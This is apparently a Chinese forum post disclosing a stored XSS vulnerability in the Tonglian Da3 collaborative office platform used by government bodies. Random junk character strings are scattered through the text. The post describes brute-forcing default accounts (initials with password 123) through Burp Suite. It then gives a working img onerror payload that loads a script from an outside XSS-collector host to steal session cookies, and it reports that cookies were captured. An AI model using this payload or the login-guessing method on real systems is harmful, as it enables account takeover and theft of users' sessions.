同联Da3协同办公平台后台通用储存型xss漏洞

admin

$ q! G7 }, o7 v. R" G 2 |- b# Y0 s. T: M* E; z/ t 3 S+ p( P g0 ?6 T) X 1 y6 n0 G9 ?: z4 N; j, x , P; h0 ~3 Q0 z1 k8 ~7 m$ T ( ^/ T, o `7 \! j/ n . ]2 K% ^. Y: l

* ]% h; M. U8 U% Q9 n) a

同联Da3协同办公平台后台通用储存型xss漏洞 ' L! g8 H8 w& h$ B; n2 ~+ h) {

( Q3 `1 k8 G v2 Y) {

平台简介：

( [" U: C9 z+ |1 s2 i" C

  % r4 w S9 C& z; F; u

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
* q7 [& r; X/ y4 R/ b, w0 o同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

* ^8 U# s2 ]4 R! T

# X$ z7 ?) C! C, U   2 v/ c0 H7 c! G7 x& |' Q3 [* I) @( D+ z/ G

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

* i5 f( U! m- c+ E' K% `   . y8 K$ @; {2 H2 r5 ^7 i5 b

8 H7 |! o3 k5 y; ~( h) g

- m* q" O( ]4 t& \( c http://1.1.1.1:7197/cap-aco/#（案例2-） 5 z2 A5 n: B% e/ D3 T

( d! \" I# t% M2 }/ ?! A: {

http://www.XXOO.com （案例1-官网网站） & `6 E& I' Z% B# }/ l% n

9 D( B9 ~" k' x

漏洞详情: 0 ]/ C4 O: X2 ` x

 案例一、

( U1 R- x4 h, d; b/ x& A; |

& A2 N5 M. x) J 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

. @- z" R/ y; c2 X: K* \1 b$ S. I      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

  8 G- L+ J5 m. w& A" ]

4 E% r! ~% ^6 n4 R

' v0 F- J. `& L: a0 k7 Y" V

! F+ j& l/ c. R9 x

8 m% s1 G# _3 B* {, H& ~. D9 F) z' m status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： 8 I& [9 J k; F

+ s& N$ d* o$ ~, J/ I& z* f3 c5 M

% d/ N @- L+ d* A   , W' e( S4 W+ f5 b7 { K6 X4 [

; F1 K0 p) X2 p( \5 X% }

^' D: s i4 z8 J! R2 H0 T; G 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

: P) A5 N% X, k

- R; l0 D$ X2 D' I- f) c' F  

<img src=x 5 ]# V4 [) [. O- [; P4 o4 K. gonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 2 D9 l/ e- H+ e% y3 |) T' W4 _9 o

1 a2 n; j, \4 F% G: h+ g3 [ L3 ]( b8 b l

; D$ P: ?6 A1 C5 t 然后发送，接收cookie如图： ( i' m- V$ P: @. @7 \

0 V1 t" d8 e6 P# R- w: b

 

7 |6 Y" i: ~& Y   ' u; T' ^% E' r5 n' F/ h, Y

/ ]( {" s' M9 L/ V. D& Z

 

" X8 U5 p: D$ s3 R2 K8 N2 ^- D   0 s: m$ B. V, Q# C8 A% j

! {3 v% x" q4 j' j _9 ~ 1 g4 P/ P3 p/ F2 {( J

3 G4 c( B3 v) \

* u6 T( `- v( ^! T$ q5 o% d

 

0 Z+ z, @8 ]8 t, @) p$ d9 G

案例2、

2 F4 w4 k9 r! g/ o$ A, p

前面步骤都一样，下面看效果图： ) s: G- g& U/ t5 I9 g1 L" o

. | z3 |6 H7 l2 W: d5 u. H! q

9 G5 T$ f# H) j4 ~* {$ g$ t

( v$ x4 N) l9 ?8 R7 c' b* m; V

 

* Q B! Y7 i7 F% |2 p; b

 

. H) H! \ t- w0 h# E& F8 ]

2 |( \$ J8 q( z  

2 H* _- l( N% X  

! a4 ^/ y: ]1 C

  C. c8 u3 r- J$ E& h% E3 r

# l1 e( K& L3 p8 G   # j" i4 i" V* y( t% T4 N

1 x J* D0 E4 a